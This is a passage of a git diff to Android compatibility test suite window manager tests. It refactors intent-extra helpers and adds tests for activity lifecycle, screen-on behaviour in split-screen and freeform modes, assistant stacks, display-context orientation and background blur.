         performFinishActivityWithMoveTaskToBack(FINISH_POINT_ON_STOP);
     }
 
-    private void performFinishActivityWithMoveTaskToBack(String finishPoint) throws Exception {
+    private void performFinishActivityWithMoveTaskToBack(String finishPoint) {
         // Make sure home activity is visible.
         launchHomeActivity();
         if (hasHomeScreen()) {
@@ -328,7 +283,7 @@
         }
 
         // Launch an activity that calls "moveTaskToBack" to finish itself.
-        launchActivity(MOVE_TASK_TO_BACK_ACTIVITY, EXTRA_FINISH_POINT, finishPoint);
+        launchActivity(MOVE_TASK_TO_BACK_ACTIVITY, extraString(EXTRA_FINISH_POINT, finishPoint));
         mWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY, true);
 
         // Launch a different activity on top.
@@ -357,7 +312,7 @@
      * behavior.
      */
     @Test
-    public void testReorderToFrontBackstack() throws Exception {
+    public void testReorderToFrontBackstack() {
         // Start with home on top
         launchHomeActivity();
         if (hasHomeScreen()) {
@@ -393,7 +348,7 @@
      * home stack.
      */
     @Test
-    public void testReorderToFrontChangingStack() throws Exception {
+    public void testReorderToFrontChangingStack() {
         // Start with home on top
         launchHomeActivity();
         if (hasHomeScreen()) {
@@ -460,6 +415,29 @@
     }
 
     /**
+     * Asserts that a no-history activity is not stopped and removed after a translucent activity
+     * above becomes resumed.
+     */
+    @Test
+    public void testNoHistoryActivityNotFinishedBehindTranslucentActivity() {
+        // Launch a no-history activity
+        launchActivity(NO_HISTORY_ACTIVITY);
+
+        // Launch a translucent activity
+        launchActivity(TRANSLUCENT_ACTIVITY);
+
+        // Wait for the activity resumed
+        mWmState.waitForActivityState(TRANSLUCENT_ACTIVITY, STATE_RESUMED);
+        mWmState.assertVisibility(NO_HISTORY_ACTIVITY, true);
+
+        pressBackButton();
+
+        // Wait for the activity resumed
+        mWmState.waitForActivityState(NO_HISTORY_ACTIVITY, STATE_RESUMED);
+        mWmState.assertVisibility(NO_HISTORY_ACTIVITY, true);
+    }
+
+    /**
      *  If the next activity hasn't reported idle but it has drawn and the transition has done, the
      *  previous activity should be stopped and invisible without waiting for idle timeout.
      */
@@ -490,20 +468,50 @@
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
         lockScreenSession.disableLockScreen().sleepDevice();
         separateTestJournal();
-        launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY);
+        launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         mWmState.assertVisibility(TURN_SCREEN_ON_ATTR_ACTIVITY, true);
         assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
         assertSingleLaunch(TURN_SCREEN_ON_ATTR_ACTIVITY);
     }
 
     @Test
+    public void testTurnScreenOnAttrNoLockScreen_SplitScreen() {
+        assumeTrue(supportsLockScreen());
+        assumeTrue(supportsMultiWindow());
+
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(RESIZEABLE_ACTIVITY));
+
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.disableLockScreen().sleepDevice();
+        launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY,
+                WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+        mWmState.assertVisibility(TURN_SCREEN_ON_ATTR_ACTIVITY, true);
+        assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
+    }
+
+    @Test
+    public void testTurnScreenOnWithAttr_Freeform() {
+        assumeTrue(supportsLockScreen());
+        assumeTrue(supportsFreeform());
+
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.disableLockScreen().sleepDevice();
+
+        launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY, WINDOWING_MODE_FREEFORM);
+        mWmState.assertVisibility(TURN_SCREEN_ON_ATTR_ACTIVITY, true);
+        assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
+    }
+
+    @Test
     public void testTurnScreenOnAttrWithLockScreen() {
         assumeTrue(supportsSecureLock());
 
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
         lockScreenSession.setLockCredential().sleepDevice();
         separateTestJournal();
-        launchActivityNoWait(TURN_SCREEN_ON_ATTR_ACTIVITY);
+        launchActivityNoWait(TURN_SCREEN_ON_ATTR_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         // Wait for the activity stopped because lock screen prevent showing the activity.
         mWmState.waitForActivityState(TURN_SCREEN_ON_ATTR_ACTIVITY, STATE_STOPPED);
         assertFalse("Display keeps off", isDisplayOn(DEFAULT_DISPLAY));
@@ -518,13 +526,33 @@
         lockScreenSession.sleepDevice();
         mWmState.waitForAllStoppedActivities();
         separateTestJournal();
-        launchActivity(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY);
+        launchActivity(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         mWmState.assertVisibility(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY, true);
         assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
         assertSingleLaunch(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY);
     }
 
     @Test
+    public void testChangeToFullscreenWhenLockWithAttrInFreeform() {
+        assumeTrue(supportsLockScreen());
+        assumeTrue(supportsFreeform());
+
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.sleepDevice();
+        mWmState.waitForAllStoppedActivities();
+
+        launchActivityNoWait(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY, WINDOWING_MODE_FREEFORM);
+        mWmState.waitForValidState(
+                new WaitForValidActivityState.Builder(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY)
+                        .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
+                        .build());
+        assertTrue(mWmState.containsActivityInWindowingMode(
+                TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY, WINDOWING_MODE_FULLSCREEN));
+        mWmState.assertVisibility(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY, true);
+        assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
+    }
+
+    @Test
     public void testTurnScreenOnAttrRemove() {
         assumeTrue(supportsLockScreen());
 
@@ -590,7 +618,7 @@
     }
 
     @Test
-    public void testGoingHomeMultipleTimes() throws Exception {
+    public void testGoingHomeMultipleTimes() {
         for (int i = 0; i < 10; i++) {
             // Start activity normally
             launchActivityOnDisplay(TEST_ACTIVITY, DEFAULT_DISPLAY);
@@ -608,7 +636,7 @@
     }
 
     @Test
-    public void testPressingHomeButtonMultipleTimes() throws Exception {
+    public void testPressingHomeButtonMultipleTimes() {
         for (int i = 0; i < 10; i++) {
             // Start activity normally
             launchActivityOnDisplay(TEST_ACTIVITY, DEFAULT_DISPLAY);
@@ -628,7 +656,7 @@
     }
 
     @Test
-    public void testPressingHomeButtonMultipleTimesQuick() throws Exception {
+    public void testPressingHomeButtonMultipleTimesQuick() {
         for (int i = 0; i < 10; i++) {
             // Start activity normally
             launchActivityOnDisplay(TEST_ACTIVITY, DEFAULT_DISPLAY);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTests.java
index 324398b..3cafd1c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTests.java
@@ -17,9 +17,7 @@
 package android.server.wm;
 
 import static android.app.AppOpsManager.MODE_ALLOWED;
-import static android.app.AppOpsManager.MODE_ERRORED;
 import static android.app.AppOpsManager.OPSTR_SYSTEM_ALERT_WINDOW;
-import static android.app.AppOpsManager.OP_SYSTEM_ALERT_WINDOW;
 
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
@@ -38,7 +36,6 @@
 import android.os.Process;
 import android.platform.test.annotations.Presubmit;
 
-import androidx.test.filters.FlakyTest;
 import androidx.test.rule.ActivityTestRule;
 
 import com.android.compatibility.common.util.AppOpsUtils;
@@ -61,20 +58,23 @@
 public class AlertWindowsAppOpsTests {
     private static final long APP_OP_CHANGE_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(2);
 
+    private static int sPreviousSawAppOp;
+
     @Rule
     public final ActivityTestRule<AlertWindowsAppOpsTestsActivity> mActivityRule =
             new ActivityTestRule<>(AlertWindowsAppOpsTestsActivity.class);
 
     @BeforeClass
     public static void grantSystemAlertWindowAccess() throws IOException {
-        AppOpsUtils.setOpMode(getInstrumentation().getContext().getPackageName(),
-                OPSTR_SYSTEM_ALERT_WINDOW, MODE_ALLOWED);
+        String packageName = getInstrumentation().getContext().getPackageName();
+        sPreviousSawAppOp = AppOpsUtils.getOpMode(packageName, OPSTR_SYSTEM_ALERT_WINDOW);
+        AppOpsUtils.setOpMode(packageName, OPSTR_SYSTEM_ALERT_WINDOW, MODE_ALLOWED);
     }
 
     @AfterClass
     public static void revokeSystemAlertWindowAccess() throws IOException {
         AppOpsUtils.setOpMode(getInstrumentation().getContext().getPackageName(),
-                OPSTR_SYSTEM_ALERT_WINDOW, MODE_ERRORED);
+                OPSTR_SYSTEM_ALERT_WINDOW, sPreviousSawAppOp);
     }
 
     @Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTestsActivity.java b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTestsActivity.java
index 4a9decc..c051817 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTestsActivity.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTestsActivity.java
@@ -37,4 +37,12 @@
     public void hideSystemAlertWindow() {
         getWindowManager().removeView(mContent);
     }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        if (mContent != null) {
+            hideSystemAlertWindow();
+        }
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsTests.java
index 7c50ab2..3f74ddb 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsTests.java
@@ -48,7 +48,7 @@
  *     atest CtsWindowManagerDeviceTestCases:AlertWindowsTests
  */
 @Presubmit
-@AppModeFull(reason = "Requires android.permission.MANAGE_ACTIVITY_STACKS")
+@AppModeFull(reason = "Requires android.permission.MANAGE_ACTIVITY_TASKS")
 public class AlertWindowsTests extends ActivityManagerTestBase {
 
     // From WindowManager.java
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index 191a70b..670c03c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -58,6 +58,7 @@
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
+import android.app.Activity;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.res.Resources;
@@ -76,6 +77,7 @@
 import org.junit.Test;
 
 import java.util.List;
+import java.util.function.Function;
 
 /**
  * Build/Install/Run:
@@ -263,7 +265,7 @@
         separateTestJournal();
         final int width = displayRect.width();
         final int height = displayRect.height();
-        resizeDockedStack(width /* stackWidth */, height /* stackHeight */,
+        resizePrimarySplitScreen(width /* stackWidth */, height /* stackHeight */,
                 width /* taskWidth */, height /* taskHeight */);
 
         // Move activity back to fullscreen stack.
@@ -308,7 +310,7 @@
         final int smallWidthPx = dpToPx(SMALL_WIDTH_DP, density);
         final int smallHeightPx = dpToPx(SMALL_HEIGHT_DP, density);
 
-        resizeDockedStack(0, 0, smallWidthPx, smallHeightPx);
+        resizePrimarySplitScreen(0, 0, smallWidthPx, smallHeightPx);
         mWmState.waitForValidState(
                 new WaitForValidActivityState.Builder(DIALOG_WHEN_LARGE_ACTIVITY)
                         .setWindowingMode(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY)
@@ -651,14 +653,41 @@
     }
 
     /**
-     * Test that the orientation for a simulated display context will not change when the device is
-     * rotated.
+     * Test that the orientation for a simulated display context derived from an application context
+     * will not change when the device rotates.
      */
     @Test
     public void testAppContextDerivedDisplayContextOrientationWhenRotating() {
         assumeTrue("Skipping test: no rotation support", supportsRotation());
         assumeTrue("Skipping test: no multi-display support", supportsMultiDisplay());
 
+        assertDisplayContextDoesntChangeOrientationWhenRotating(Activity::getApplicationContext);
+    }
+
+    /**
+     * Test that the orientation for a simulated display context derived from an activity context
+     * will not change when the device rotates.
+     */
+    @Test
+    public void testActivityContextDerivedDisplayContextOrientationWhenRotating() {
+        assumeTrue("Skipping test: no rotation support", supportsRotation());
+        assumeTrue("Skipping test: no multi-display support", supportsMultiDisplay());
+
+        assertDisplayContextDoesntChangeOrientationWhenRotating(activity -> activity);
+    }
+
+    /**
+     * Asserts that the orientation for a simulated display context derived from a base context will
+     * not change when the device rotates.
+     *
+     * @param baseContextSupplier function that returns a base context used to created the display
+     *                            context.
+     *
+     * @see #testAppContextDerivedDisplayContextOrientationWhenRotating
+     * @see #testActivityContextDerivedDisplayContextOrientationWhenRotating
+     */
+    private void assertDisplayContextDoesntChangeOrientationWhenRotating(
+            Function<Activity, Context> baseContextSupplier) {
         RotationSession rotationSession = createManagedRotationSession();
         rotationSession.set(ROTATION_0);
 
@@ -678,7 +707,7 @@
 
         DisplayManager dm = activity.getSystemService(DisplayManager.class);
         Display simulatedDisplay = dm.getDisplay(displayContent.mId);
-        Context simulatedDisplayContext = activity.getApplicationContext()
+        Context simulatedDisplayContext = baseContextSupplier.apply(activity)
                 .createDisplayContext(simulatedDisplay);
         assertEquals(ORIENTATION_PORTRAIT,
                 simulatedDisplayContext.getResources().getConfiguration().orientation);
@@ -827,29 +856,33 @@
      * Asserts that initial and final reported sizes in docked stack are the same.
      */
     private void moveActivitySplitFullSplit(ComponentName activityName) {
+        mUseTaskOrganizer = false;
         assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
 
         // Launch to docked stack and record size.
         separateTestJournal();
-        launchActivityInSplitScreenWithRecents(activityName);
-        final SizeInfo initialDockedSizes = getActivityDisplaySize(activityName);
+        launchActivityInPrimarySplit(activityName);
         mWmState.computeState(
                 new WaitForValidActivityState.Builder(activityName).build());
+        final SizeInfo initialDockedSizes = getActivityDisplaySize(activityName);
 
         // Move to fullscreen stack.
         separateTestJournal();
-        setActivityTaskWindowingMode(
-                activityName, WINDOWING_MODE_FULLSCREEN);
+        mTaskOrganizer.dismissedSplitScreen();
         // Home task could be on top since it was the top-most task while in split-screen mode
         // (dock task was minimized), start the activity again to ensure the activity is at
         // foreground.
         launchActivity(activityName, WINDOWING_MODE_FULLSCREEN);
+        mWmState.computeState(
+                new WaitForValidActivityState.Builder(activityName).build());
         final SizeInfo fullscreenSizes = getActivityDisplaySize(activityName);
         assertSizesAreSane(fullscreenSizes, initialDockedSizes);
 
         // Move activity back to docked stack.
         separateTestJournal();
-        moveTaskToPrimarySplitScreen(mWmState.getTaskByActivity(activityName).mTaskId);
+        mTaskOrganizer.putTaskInSplitPrimary(mWmState.getTaskByActivity(activityName).mTaskId);
+        mWmState.computeState(
+                new WaitForValidActivityState.Builder(activityName).build());
         final SizeInfo finalDockedSizes = getActivityDisplaySize(activityName);
 
         // After activity configuration was changed twice it must report same size as original one.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
index d777db2..25f9152 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
@@ -20,12 +20,12 @@
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
-import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.CliIntentExtra.extraString;
 import static android.server.wm.ComponentNameUtils.getActivityName;
 import static android.server.wm.UiDeviceUtils.pressHomeButton;
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
 import static android.server.wm.app.Components.ANIMATION_TEST_ACTIVITY;
 import static android.server.wm.app.Components.ASSISTANT_ACTIVITY;
 import static android.server.wm.app.Components.ASSISTANT_VOICE_INTERACTION_SERVICE;
@@ -55,8 +55,6 @@
 import android.provider.Settings;
 import android.server.wm.settings.SettingsSession;
 
-import androidx.test.filters.FlakyTest;
-
 import org.junit.Ignore;
 import org.junit.Test;
 
@@ -105,7 +103,7 @@
         assumeTrue(supportsSplitScreenMultiWindow());
 
         // Launch a pinned stack task
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
         waitForValidStateWithActivityTypeAndWindowingMode(
                 PIP_ACTIVITY, ACTIVITY_TYPE_STANDARD, WINDOWING_MODE_PINNED);
         mWmState.assertContainsStack("Must contain pinned stack.",
@@ -115,10 +113,6 @@
         launchActivitiesInSplitScreen(
                 getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
                 getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        mWmState.assertContainsStack("Must contain fullscreen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
 
         // Enable the assistant and launch an assistant activity, ensure it is on top
         try (final AssistantSession assistantSession = new AssistantSession()) {
@@ -150,10 +144,6 @@
         launchActivitiesInSplitScreen(
                 getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
                 getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        mWmState.assertContainsStack("Must contain fullscreen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
 
         assertAssistantStackCanLaunchAndReturnFromNewTask(WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
     }
@@ -165,14 +155,14 @@
             assistantSession.setVoiceInteractionService(ASSISTANT_VOICE_INTERACTION_SERVICE);
 
             launchActivityOnDisplayNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK, mAssistantDisplayId,
-                    EXTRA_ASSISTANT_LAUNCH_NEW_TASK, getActivityName(TEST_ACTIVITY),
-                    EXTRA_ASSISTANT_DISPLAY_ID, Integer.toString(mAssistantDisplayId));
+                    extraString(EXTRA_ASSISTANT_LAUNCH_NEW_TASK, getActivityName(TEST_ACTIVITY)),
+                    extraString(EXTRA_ASSISTANT_DISPLAY_ID, Integer.toString(mAssistantDisplayId)));
             // Ensure that the fullscreen stack is on top and the test activity is now visible
             waitForValidStateWithActivityTypeAndWindowingMode(
                     TEST_ACTIVITY, ACTIVITY_TYPE_STANDARD, expectedWindowingMode);
         }
 
-        if (isAssistantOnTop()) {
+        if (isAssistantOnTopOfDream()) {
             // If the assistant is configured to be always-on-top, then the new task should have
             // been started behind it and the assistant stack should still be on top.
             mWmState.assertFocusedActivity(
@@ -203,8 +193,8 @@
         // If the Assistant is configured to be always-on-top, then the assistant activity
         // started in setUp() will not allow any other activities to start. Therefore we should
         // remove it before launching a fullscreen activity.
-        if (isAssistantOnTop()) {
-            removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
+        if (isAssistantOnTopOfDream()) {
+            removeRootTasksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
         }
 
         // Launch an assistant activity on top of an existing fullscreen activity, and ensure that
@@ -214,7 +204,7 @@
             assistantSession.setVoiceInteractionService(ASSISTANT_VOICE_INTERACTION_SERVICE);
 
             launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
-                    EXTRA_ASSISTANT_FINISH_SELF, "true");
+                    extraString(EXTRA_ASSISTANT_FINISH_SELF, "true"));
             mWmState.waitFor((amState) -> !amState.containsActivity(ASSISTANT_ACTIVITY),
                     getActivityName(ASSISTANT_ACTIVITY) + " finished");
         }
@@ -235,7 +225,7 @@
             assistantSession.setVoiceInteractionService(ASSISTANT_VOICE_INTERACTION_SERVICE);
 
             launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
-                    EXTRA_ASSISTANT_ENTER_PIP, "true");
+                    extraString(EXTRA_ASSISTANT_ENTER_PIP, "true"));
         }
         waitForValidStateWithActivityType(ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
         mWmState.assertDoesNotContainStack("Must not contain pinned stack.",
@@ -248,12 +238,12 @@
             assistantSession.setVoiceInteractionService(ASSISTANT_VOICE_INTERACTION_SERVICE);
 
             // Go home, launch the assistant and check to see that home is visible
-            removeStacksInWindowingModes(WINDOWING_MODE_FULLSCREEN,
+            removeRootTasksInWindowingModes(WINDOWING_MODE_FULLSCREEN,
                     WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
             pressHomeButton();
             resumeAppSwitches();
             launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
-                    EXTRA_ASSISTANT_IS_TRANSLUCENT, "true");
+                    extraString(EXTRA_ASSISTANT_IS_TRANSLUCENT, "true"));
             waitForValidStateWithActivityType(
                     TRANSLUCENT_ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
             assertAssistantStackExists();
@@ -264,10 +254,10 @@
 
             // Launch a fullscreen app and then launch the assistant and check to see that it is
             // also visible
-            removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
+            removeRootTasksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
             launchActivityOnDisplay(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN, mAssistantDisplayId);
             launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
-                    EXTRA_ASSISTANT_IS_TRANSLUCENT, "true");
+                    extraString(EXTRA_ASSISTANT_IS_TRANSLUCENT, "true"));
             waitForValidStateWithActivityType(
                     TRANSLUCENT_ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
             assertAssistantStackExists();
@@ -275,12 +265,12 @@
 
             // Go home, launch assistant, launch app into fullscreen with activity present, and go
             // back.Ensure home is visible.
-            removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
+            removeRootTasksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
             pressHomeButton();
             resumeAppSwitches();
             launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
-                    EXTRA_ASSISTANT_IS_TRANSLUCENT, "true",
-                    EXTRA_ASSISTANT_LAUNCH_NEW_TASK, getActivityName(TEST_ACTIVITY));
+                    extraString(EXTRA_ASSISTANT_IS_TRANSLUCENT, "true"),
+                    extraString(EXTRA_ASSISTANT_LAUNCH_NEW_TASK, getActivityName(TEST_ACTIVITY)));
             waitForValidStateWithActivityTypeAndWindowingMode(
                     TEST_ACTIVITY, ACTIVITY_TYPE_STANDARD, WINDOWING_MODE_FULLSCREEN);
 
@@ -298,14 +288,12 @@
             // that it
             // is also visible
             if (supportsSplitScreenMultiWindow() &&  assistantRunsOnPrimaryDisplay()) {
-                removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
+                removeRootTasksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
                 launchActivitiesInSplitScreen(
                         getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
                         getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-                mWmState.assertContainsStack("Must contain docked stack.",
-                        WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
                 launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
-                        EXTRA_ASSISTANT_IS_TRANSLUCENT, "true");
+                        extraString(EXTRA_ASSISTANT_IS_TRANSLUCENT, "true"));
                 waitForValidStateWithActivityType(
                         TRANSLUCENT_ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
                 assertAssistantStackExists();
@@ -339,7 +327,12 @@
             launchActivityOnDisplay(ANIMATION_TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN, mAssistantDisplayId);
             // Wait for animation finished.
             mWmState.waitForActivityState(ANIMATION_TEST_ACTIVITY, STATE_RESUMED);
-            mWmState.assertVisibility(ASSISTANT_ACTIVITY, isAssistantOnTop());
+
+            if (isAssistantOnTopOfDream()) {
+                mWmState.assertVisibility(ASSISTANT_ACTIVITY, true);
+            } else {
+                mWmState.waitAndAssertVisibilityGone(ASSISTANT_ACTIVITY);
+            }
 
             // Launch the assistant again and ensure that it goes into the same task
             launchActivityOnDisplayNoWait(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION,
@@ -368,9 +361,9 @@
             // Launch a fullscreen activity and a PIP activity, then launch the assistant, and
             // ensure that the test activity is still visible
             launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
-            launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+            launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
             launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
-                    EXTRA_ASSISTANT_IS_TRANSLUCENT, String.valueOf(true));
+                    extraString(EXTRA_ASSISTANT_IS_TRANSLUCENT, String.valueOf(true)));
             waitForValidStateWithActivityType(
                     TRANSLUCENT_ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
             assertAssistantStackExists();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
new file mode 100644
index 0000000..ac826a4
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm;
+
+import static android.app.ActivityTaskManager.INVALID_STACK_ID;
+import static android.server.wm.CliIntentExtra.extraInt;
+import static android.server.wm.app.Components.BLUR_ACTIVITY;
+import static android.server.wm.app.Components.BACKGROUND_IMAGE_ACTIVITY;
+import static android.server.wm.app.Components.BlurActivity.ACTION_FINISH;
+import static android.server.wm.app.Components.BlurActivity.EXTRA_BACKGROUND_BLUR_RADIUS_PX;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.Presubmit;
+import android.graphics.Bitmap;
+
+import androidx.test.filters.FlakyTest;
+
+import org.junit.Before;
+import org.junit.Test;
+
+@Presubmit
+@FlakyTest(detail = "Promote once confirmed non-flaky")
+public class BlurTests extends ActivityManagerTestBase {
+
+    @Before
+    public void setUp() {
+        assumeTrue(supportsBlur());
+        launchActivity(BACKGROUND_IMAGE_ACTIVITY);
+        mWmState.waitForValidState(BACKGROUND_IMAGE_ACTIVITY);
+    }
+
+    @Test
+    public void testBackgroundBlurDifferentRadius() throws Exception {
+        launchActivity(BLUR_ACTIVITY, extraInt(EXTRA_BACKGROUND_BLUR_RADIUS_PX, 5));
+        mWmState.waitForValidState(BLUR_ACTIVITY);
+
+        final int stackId = mWmState.getStackIdByActivity(BLUR_ACTIVITY);
+        assertNotEquals(stackId, INVALID_STACK_ID);
+        final Bitmap lowBlur = takeScreenshot();
+
+        mBroadcastActionTrigger.finishBroadcastReceiverActivity();
+
+        launchActivity(BLUR_ACTIVITY, extraInt(EXTRA_BACKGROUND_BLUR_RADIUS_PX, 150));
+        mWmState.waitForValidState(BLUR_ACTIVITY);
+
+        final int stackId2 = mWmState.getStackIdByActivity(BLUR_ACTIVITY);
+        assertNotEquals(stackId2, INVALID_STACK_ID);
+        final Bitmap highBlur = takeScreenshot();
+
+        assertFalse(lowBlur.sameAs(highBlur));
+
+        //TODO(b/179990440): Add more tests for blurs in window manager
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
index 2b7089d..515f737 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
@@ -236,7 +236,7 @@
     }
 
     /** Helper class to save, set, and restore font_scale preferences. */
